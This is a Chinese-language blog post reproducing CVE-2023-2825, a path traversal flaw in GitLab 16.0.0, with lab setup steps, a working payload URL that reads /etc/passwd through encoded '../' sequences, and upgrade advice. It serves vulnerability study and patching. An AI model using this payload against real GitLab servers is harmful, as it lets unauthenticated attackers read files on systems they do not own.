(CVE-2023-2825)|GitLab任意文件读取

admin 2023年5月30日19:08:06评论53 views字数 1003阅读3分20秒阅读模式

漏洞说明

GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目,在GitLab CE/EE中,当附件存在于嵌套在至少五个组中的公共项目中时,未经身份验证的恶意用户可以使用路径遍历漏洞读取服务器上的任意文件

影响版本

GitLab:CE == 16.0.0GitLab:EE == 16.0.0

漏洞复现

搭建环境(本人使用的是Centos9):

(CVE-2023-2825)|GitLab任意文件读取

安装yum源:

curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

安装 GitLab-CE-16.0.0

yum install gitlab-ce-16.0.0-ce.0.el8.x86_64.rpm

配置gitlab文件

vim /etc/gitlab/gitlab.rb

(CVE-2023-2825)|GitLab任意文件读取

在执行命令重新加载配置:

gitlab-ctl reconfigure

完成上面步骤后访问:

http://your_ip/users/sign_in

(CVE-2023-2825)|GitLab任意文件读取

username为root,password使用命令查看:

cat /etc/gitlab/initial_root_password

(CVE-2023-2825)|GitLab任意文件读取

登录gitlab创建group(至少5个组):

(CVE-2023-2825)|GitLab任意文件读取

在group9中创建project项目:

(CVE-2023-2825)|GitLab任意文件读取

创建一个issues,在其中插入附件:

(CVE-2023-2825)|GitLab任意文件读取

burp访问test.txt(之前我已经创建过一个test的issues了)

(CVE-2023-2825)|GitLab任意文件读取

使用payload访问任意文件:

/group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/cafeb976a10993024411e6b1f060d954//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

(CVE-2023-2825)|GitLab任意文件读取

修复建议

升级至安全版本:16.0.1及以上

参考

https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/

本文章仅用于学习交流,不得用于非法用途



原文始发于微信公众号(才疏学浅的H6):(CVE-2023-2825)|GitLab任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日19:08:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (CVE-2023-2825)|GitLab任意文件读取https://cn-sec.com/archives/1762597.html

发表评论

匿名网友 填写信息